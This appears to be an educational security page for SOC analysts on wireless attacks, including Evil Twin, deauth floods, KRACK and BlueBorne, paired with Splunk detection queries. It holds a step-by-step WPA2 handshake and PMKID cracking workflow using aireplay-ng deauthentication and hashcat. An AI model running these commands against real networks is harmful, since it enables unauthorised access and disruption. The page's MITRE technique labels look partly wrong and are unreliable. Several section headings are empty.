Wireless Attacks

How Wireless Attacks Work and Why They Matter

• Wireless attacks target the radio frequency (RF) layer of network communications — 802.11 (Wi-Fi), Bluetooth, and RFID/NFC — where the transmission medium is inherently shared and unencrypted by default.
• MITRE ATT&CK maps wireless attacks to T1600 (Weaken Encryption) with sub-techniques including T1600.002 (Disable Wi-Fi Encryption) and T1557.004 (Man-in-the-Middle via Wireless Evil Twin).
• Wireless attacks matter because they bypass physical security controls: an attacker in the parking lot can compromise a network without ever entering the building. For SOC analysts, wireless threats often appear as network anomalies that are difficult to attribute without RF-layer telemetry.
• The most common wireless attack categories are credential cracking (WPA2/WPA3 PSK), rogue access points (Evil Twin), denial of service (deauthentication floods), protocol attacks (KRACK), Bluetooth exploits (BlueBorne), and RFID cloning.

WPA2/WPA3 PSK Cracking

How It Works

PSK (Pre-Shared Key) cracking requires capturing the four-way handshake between a client and access point (WPA2) or the SAE handshake (WPA3), then performing an offline brute-force or dictionary attack against the passphrase.

WPA2 Cracking Workflow

1. Enable monitor mode:

   sudo airmon-ng start wlan0

2. Scan for target access point:

   sudo airodump-ng wlan0mon

3. Capture handshake (WPA2):

   sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
   # Force a client to reconnect (deauth attack):
   sudo aireplay-ng -0 2 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon

4. Or capture PMKID (no client needed):

   # PMKID is in the RSN IE of the beacon frame
   # Use hcxdumptool for PMKID capture:
   sudo hcxdumptool -i wlan0mon --enable_status=1 -o captured.pcapng

5. Crack offline:

   # Convert to hashcat format
   hcxpcapngtool -o hash.hc22000 capture-01.cap
   # Crack with wordlist
   hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

WPA3 Considerations

WPA3 uses SAE (Simultaneous Authentication of Equals), which provides forward secrecy and is resistant to offline dictionary attacks. The Dragonblood attack (disclosed 2019) found vulnerabilities in WPA3 implementations, but practical exploitation requires a vulnerable client or AP. For most SOC environments, WPA3 is significantly more secure than WPA2-PSK.

Evil Twin — The Rogue Access Point

An Evil Twin is a rogue Wi-Fi access point that impersonates a legitimate network. The attacker broadcasts the same SSID with a stronger signal, and clients connect to the attacker’s device instead of the real AP.

Attack Flow

Detection Indicators

SPL — Deauth Flood Detection

index=network sourcetype=wids
| search attack_type="deauth"
| stats count, values(src_mac) as Deauth_Sources by dst_mac, _time
| where count > 100
| eval alert = "DEAUTH FLOOD — " . count . " deauth packets sent to " . dst_mac . " from " . mvjoin(Deauth_Sources, ", ")
| table _time, dst_mac, count, alert
| sort - count

Deauthentication Attacks

Deauth attacks send forged deauthentication frames to disconnect clients from an AP. The attack is trivial because deauth frames in 802.11 (prior to 802.11w-2009) are unencrypted management frames.

Impact

Detection

index=network sourcetype=wids
| search frame_type="management" AND subtype="deauthentication"
| stats count, values(src_mac) as Sources by dst_mac
| where count > 50 AND mvcount(Sources) < 3
| eval alert = "DEAUTH FLOOD from " . mvjoin(Sources, ", ") . " targeting " . dst_mac
| table _time, dst_mac, Sources, count, alert

KRACK — Key Reinstallation Attack

KRACK (Key Reinstallation Attack, disclosed 2017) exploits a vulnerability in the WPA2 four-way handshake where an attacker forces the client to reinstall an already-in-use key, resetting the nonce and replay counter. This allows decryption of subsequent packets.

Detection — repeated EAPOL frames (possible KRACK exploitation):

index=network sourcetype=wids
| search frame_type="EAPOL"
| stats count by src_mac, dst_mac
| where count > 10 AND count < 50
| eval alert = "Repeated EAPOL frames from " . src_mac . " to " . dst_mac . " — possible KRACK attempt"
| table _time, src_mac, dst_mac, count, alert

BlueBorne — Bluetooth Exploitation

BlueBorne is a set of 8 Bluetooth vulnerabilities disclosed in 2017 that affect Android, iOS, Windows, and Linux devices. The critical difference from other Bluetooth attacks: BlueBorne works without pairing, and the target device does not need to be in discoverable mode.

Detection

RFID Cloning

RFID cloning copies the data from a low-frequency (125 kHz) or high-frequency (13.56 MHz) RFID tag to a programmable blank tag, allowing the attacker to impersonate the legitimate credential.

Detection

Defense in Depth for Wireless

Related

• Man-in-the-Middle — detection and response for T1557 techniques
• Network Security Basics — detection and response for T1040, T1046 techniques
• Snort and Suricata — detection and response for T1040 techniques
• DDoS — how ddos attacks work and how to detect them

Sources

• KRACK Attack — Key Reinstallation
• BlueBorne — Armis Research
• WPA3 — Wi-Fi Alliance
• MITRE ATT&CK — T1600 Weaken Encryption
• hashcat Wiki — WPA/WPA2 Mode 22000
• 802.11w Protected Management Frames